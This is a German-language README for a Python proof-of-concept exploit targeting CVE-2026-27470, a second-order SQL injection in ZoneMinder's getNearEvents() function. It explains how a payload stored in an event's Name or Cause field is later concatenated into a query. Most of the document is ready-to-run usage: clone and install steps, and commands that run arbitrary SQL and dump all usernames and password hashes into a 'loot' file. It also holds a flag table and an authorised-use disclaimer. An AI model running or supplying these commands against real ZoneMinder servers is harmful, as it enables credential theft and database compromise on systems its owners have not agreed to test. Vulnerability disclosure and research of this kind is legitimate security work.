
Python-PoC für CVE-2026-27470, authentifizierte SQL-Injection zweiter Ordnung in ZoneMinders getNearEvents() (status.php), CVSS 8.8
Autor: d3vn0mi | CVSS 8.8 | Authentifiziert | Events-Berechtigung erforderlich
CVE-2026-27470 ist eine Second-Order-SQL-Injection-Schwachstelle in ZoneMinders web/ajax/status.php – insbesondere in der Funktion getNearEvents().
| Detail | Wert |
|---|
| Betroffen | ZoneMinder <= 1.36.37 und 1.37.61 – 1.38.0 |
| Behoben in | 1.36.38 / 1.38.1 |
| Typ | Second-Order SQL Injection |
| Auth erforderlich | Ja (jeder Benutzer mit Events-Berechtigung) |
| CVSS | 8.8 (Hoch) |
Die Schwachstelle ist eine zweiphasige (Second-Order) SQL-Injection:
Phase 1 – Speichern: Der Angreifer benennt ein Event um (oder bearbeitet dessen Cause-Feld), sodass es eine SQL-Payload enthält. ZoneMinder verwendet für diesen Schreibvorgang eine parametrisierte Abfrage, sodass die Payload sicher in der Datenbank gespeichert wird – keine WAF oder Filter blockiert sie.
Phase 2 – Auslösen: Der Angreifer fordert die Entität nearevents über die Status-API an. Die Funktion getNearEvents() liest den gespeicherten Event-Namen/das Cause-Feld aus der Datenbank und verkettet ihn direkt in eine neue SQL-Abfrage ohne Bereinigung, was zu einer SQL-Injection führt.
Da der Injektionsvektor (gespeicherte Daten) vom Auslöser (eine saubere GET-Anfrage) getrennt ist, umgeht dies die meisten Schutzmechanismen auf Eingabeebene.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Die Zugangsdaten werden standardmäßig in dumped_creds.txt gespeichert.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Flag | Beschreibung | Standard |
|---|---|---|
-t, --target | Ziel-URL | (erforderlich) |
-u, --username | ZoneMinder-Benutzername | (erforderlich) |
-p, --password | ZoneMinder-Passwort | (erforderlich) |
--query | Auszuführende SQL-Abfrage | SELECT VERSION() |
--dump-users | Alle Benutzernamen und Passwort-Hashes ausgeben | |
-o, --output | Ergebnisse in Datei speichern | dumped_creds.txt |
--event-id | Event-ID als Injektionsträger verwenden | (automatisch erkannt) |
--field | Injektionsfeld: Name oder Cause | Name |
--no-restore | Event-Namen nach der Ausnutzung nicht wiederherstellen | |
--proxy | HTTP-Proxy-URL | |
--timeout | Anfrage-Timeout in Sekunden | 30 |
-v, --verbose | Debug-Logging aktivieren |
Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. Die Autoren sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Tool verursacht werden.